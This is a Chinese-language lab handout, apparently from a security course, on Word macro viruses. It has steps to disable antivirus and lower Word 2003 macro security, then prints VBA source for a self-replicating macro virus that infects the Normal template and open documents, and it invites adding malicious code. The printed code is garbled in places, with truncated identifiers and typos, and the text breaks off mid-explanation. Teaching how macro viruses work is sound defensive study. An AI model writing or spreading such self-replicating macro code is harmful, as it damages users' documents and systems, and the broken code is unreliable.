2024年6月15日发(作者:)

Word 宏病毒

1. 实验目的(后果自负)

Word 宏是指能组织到一起为独立命令使用的一系列 Word 指令,它能使日常工作变

得容易。本实验演示了宏的编写,通过两个简单的宏病毒示例,说明宏的原理及其安全漏

洞和缺陷,理解宏病毒的作用机制,从而加强对宏病毒的认识,提高防范意识。

2. 实验所需条件和环境

硬件设备:局域网,终端 PC 机。

系统软件:Windows 系列操作系统

支撑软件:Word 2003

软件设置:关闭杀毒软;打开 Word 2003,在工具宏安全性中,将安全级别设置为低,

在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任 visual basic 项

目的访问

实验环境配置如下图所示:

受感染

Word文档

受感染终端

被感染终端

宏病毒传播示意图

3. 实验内容和分析

为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过

多的 word 文档,否则清除比较麻烦(对每个打开过的文档都要清除)。

3.1. 例 1 自我复制,感染 word 公用模板和当前文档

代码如下:

'Micro-Virus

Sub Document_Open()

On Error Resume Next

yStatusBar = False

rmalPrompt = False

Ourcode = onents(1).(1, 100)

Set Host = onents(1).CodeModule

If ThisDocument = NormalTemplate Then

Set Host = onents(1).CodeModule

End If

With Host

If .Lines(1.1) <> "'Micro-Virus" Then

.DeleteLines 1, .CountOfLines

.InsertLines 1, Ourcode

.ReplaceLine 2, "Sub Document_Close()"

If ThisDocument = nomaltemplate Then

.ReplaceLine 2, "Sub Document_Open()"

me

End If

End If

End With

MsgBox "MicroVirus by Content Security Lab"

End Sub

打开一个 word 文档,然后按 Alt+F11 调用宏编写窗口(工具宏Visual Basic宏编

辑器),在左侧的 project—>Microsoft Word 对象ThisDocument 中输入以上代码,保存,

此时当前 word 文档就含有宏病毒,只要下次打开这个 word 文档,就会执行以上代码,并

将自身复制到 (word 文档的公共模板)和当前文档的 ThisDocument 中,同时 改

变函数名(模板中为 Document_Close,当前文档为 Document_Open),此时所有的 word 文

档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响 word 的 正常

使用,本例中只是简单的跳出一个提示框。

3.1.1. 代码解释

以上代码的基本执行流程如下:

1) 进行必要的自我保护

yStatusBar = False

rmalPrompt = False

高明的病毒编写者其自我保护将做得非常好,可以使 word 的一些工具栏失效,例如